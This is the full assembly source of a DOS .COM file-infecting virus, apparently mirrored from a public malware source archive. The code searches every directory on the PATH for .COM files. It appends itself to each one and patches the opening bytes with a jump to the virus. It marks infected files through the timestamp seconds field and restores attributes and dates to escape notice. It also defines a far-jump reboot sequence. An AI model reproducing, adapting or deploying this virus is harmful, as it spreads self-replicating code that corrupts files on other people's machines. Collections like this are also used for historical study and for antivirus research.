mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
248 lines
11 KiB
NASM
248 lines
11 KiB
NASM
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MOV_CX MACRO X
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DB 0B9H
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DW X
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ENDM
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CODE SEGMENT
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ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
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ORG $+0100H
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VCODE: JMP virus
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v_start equ $
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virus: PUSH CX
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MOV DX,OFFSET vir_dat ;This is where the virus data starts.
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; The 2nd and 3rd bytes get modified.
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CLD ;Pointers will be auto INcremented
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MOV SI,DX ;Access data as offset from SI
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ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
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MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
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MOV CX,3
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REPZ MOVSB ;Restore original first 3 bytes of .COM
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MOV SI,DX ;Keep SI pointing to the data area
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PUSH ES
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MOV AH,2FH
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INT 21H
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MOV [SI+old_dta],BX
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MOV [SI+old_dts],ES ;Save the DTA address
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POP ES
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MOV DX,dta ;Offset of new DTA in virus data area
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ADD DX,SI ;Compute DTA address
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MOV AH,1AH
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INT 21H ;Set new DTA to inside our own code
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PUSH ES
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PUSH SI
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MOV ES,DS:2CH
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MOV DI,0 ;ES:DI points to environment
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find_path:
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POP SI
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PUSH SI ;Get SI back
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ADD SI,env_str ;Point to "PATH=" string in data area
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LODSB
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MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
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REPNZ SCASB ;Search for first character
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MOV CX,4
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check_next_4:
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LODSB
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SCASB
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JNZ find_path ;If not all there, abort & start over
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LOOP check_next_4 ;Loop to check the next character
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POP SI
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POP ES
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MOV [SI+path_ad],DI ;Save the address of the PATH
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MOV DI,SI
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ADD DI,wrk_spc ;File name workspace
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MOV BX,SI ;Save a copy of SI
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ADD SI,wrk_spc ;Point SI to workspace
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MOV DI,SI ;Point DI to workspace
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JMP SHORT slash_ok
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set_subdir:
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CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
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JNZ found_subdir ;If not, there are more subdirectories
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JMP all_done ;Else, we're all done
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found_subdir:
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PUSH DS
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PUSH SI
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MOV DS,ES:2CH ;DS points to environment segment
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MOV DI,SI
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MOV SI,ES:[DI+path_ad] ;SI = PATH address
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ADD DI,wrk_spc ;DI points to file name workspace
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move_subdir:
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LODSB ;Get character
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CMP AL,';' ;Is it a ';' delimiter?
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JZ moved_one ;Yes, found another subdirectory
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CMP AL,0 ;End of PATH string?
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JZ moved_last_one ;Yes
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STOSB ;Save PATH marker into [DI]
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JMP SHORT move_subdir
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moved_last_one:
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MOV SI,0
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moved_one:
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POP BX ;Pointer to virus data area
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POP DS ;Restore DS
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MOV [BX+path_ad],SI ;Address of next subdirectory
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CMP CH,'\' ;Ends with "\"?
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JZ slash_ok ;If yes
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MOV AL,'\' ;Add one, if not
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STOSB
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slash_ok:
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MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
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MOV SI,BX ;Restore SI
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ADD SI,f_spec ;Point to "*.COM"
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MOV CX,6
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REPZ MOVSB ;Move "*.COM",0 to workspace
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MOV SI,BX
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MOV AH,4EH
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MOV DX,wrk_spc
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ADD DX,SI ;DX points to "*.COM" in workspace
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MOV CX,3 ;Attributes of Read Only or Hidden OK
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INT 21H
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JMP SHORT find_first
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find_next:
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MOV AH,4FH
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INT 21H
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find_first:
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JNB found_file ;Jump if we found it
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JMP SHORT set_subdir ;Otherwise, get another subdirectory
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found_file:
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MOV AX,[SI+dta_tim] ;Get time from DTA
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AND AL,1FH ;Mask to remove all but seconds
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CMP AL,1FH ;62 seconds -> already infected
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JZ find_next ;If so, go find another file
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CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
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JA find_next ;If too long, find another one
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CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
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JB find_next ;Then go find another one
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MOV DI,[SI+nam_ptr] ;DI points to file name
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PUSH SI ;Save SI
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ADD SI,dta_nam ;Point SI to file name
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more_chars:
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LODSB
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STOSB
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CMP AL,0
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JNZ more_chars ;Move characters until we find a 00
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POP SI
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MOV AX,OFFSET 4300H
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MOV DX,wrk_spc ;Point to \path\name in workspace
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ADD DX,SI
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INT 21H
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MOV [SI+old_att],CX ;Save the old attributes
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MOV AX,OFFSET 4301H ;Set attributes
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AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
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MOV DX,wrk_spc ;Offset of \path\name in workspace
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ADD DX,SI ;Point to \path\name
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INT 21H
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MOV AX,OFFSET 3D02H ;Read/Write
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MOV DX,wrk_spc ;Offset to \path\name in workspace
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ADD DX,SI ;Point to \path\name
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INT 21H
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JNB opened_ok ;If file was opened OK
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JMP fix_attr ;If it failed, restore the attributes
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opened_ok:
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MOV BX,AX
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MOV AX,OFFSET 5700H
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INT 21H
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MOV [SI+old_tim],CX ;Save file time
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MOV [SI+ol_date],DX ;Save the date
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MOV AX,OFFSET 4202H
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MOV CX,0
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MOV DX,0
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INT 21H
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MOV CX,AX ;DX:AX (long int) = file size
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SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
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MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
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ADD CX,OFFSET c_len_y
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MOV DI,SI ;Point DI to virus data area
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SUB DI,OFFSET c_len_x
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;Point DI to reference vir_dat, at start of pgm
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MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
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MOV AH,40H
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MOV_CX virlen ;Length of virus, in bytes
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MOV DX,SI
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SUB DX,OFFSET codelen ;Length of virus code, gives starting
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; address of virus code in memory
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INT 21H
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CMP AX,OFFSET virlen ;All bytes written?
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MOV AX,OFFSET 4200H
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MOV CX,0
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MOV DX,0
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INT 21H
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MOV AH,40H
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MOV CX,3
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MOV DX,SI ;Virus data area
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ADD DX,jmp_op ;Point to the reconstructed JMP
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INT 21H
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MOV AH,3EH
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INT 21H
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fix_attr:
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MOV AX,OFFSET 4301H
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MOV CX,[SI+old_att] ;Old Attributes
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MOV DX,wrk_spc
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ADD DX,SI ;DX points to \path\name in workspace
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INT 21H
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all_done:
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PUSH DS
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MOV AH,1AH
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MOV DX,[SI+old_dta]
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MOV DS,[SI+old_dts]
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INT 21H
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POP DS
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quit:
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POP CX
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XOR AX,AX
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XOR BX,BX
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XOR DX,DX
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XOR SI,SI
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MOV DI,OFFSET 0100H
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PUSH DI
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XOR DI,DI
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RET 0FFFFH
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vir_dat EQU $
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olddta_ DW 0 ;Old DTA offset
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olddts_ DW 0 ;Old DTA segment
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oldtim_ DW 0 ;Old Time
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oldate_ DW 0 ;Old date
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oldatt_ DW 0 ;Old file attributes
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first3_ EQU $
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INT 20H
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NOP
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jmpop_ DB 0E9H ;Start of JMP instruction
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jmpdsp_ DW 0 ;The displacement part
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fspec_ DB '*.COM',0
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pathad_ DW 0 ;Path address
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namptr_ DW 0 ;Pointer to start of file name
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envstr_ DB 'PATH=' ;Find this in the environment
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wrkspc_ DB 40h dup (0)
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dta_ DB 16h dup (0) ;Temporary DTA goes here
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dtatim_ DW 0,0 ;Time stamp in DTA
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dtalen_ DW 0,0 ;File length in the DTA
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dtanam_ DB 0Dh dup (0) ;File name in the DTA
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reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
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lst_byt EQU $ ;All lines that assemble into code are
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; above this one
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virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
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codelen = vir_dat - v_start ;Length of virus code, only
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c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
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c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
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old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
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old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
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old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
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ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
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old_att = oldatt_ - vir_dat ;Displacement to old attributes
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first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
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jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
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jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
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f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
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path_ad = pathad_ - vir_dat ;Displacement to the path address
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nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
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env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
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wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
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dta = dta_ - vir_dat ;Displacement to the temporary DTA
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dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
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dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
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dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
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reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
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CODE ENDS
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END VCODE
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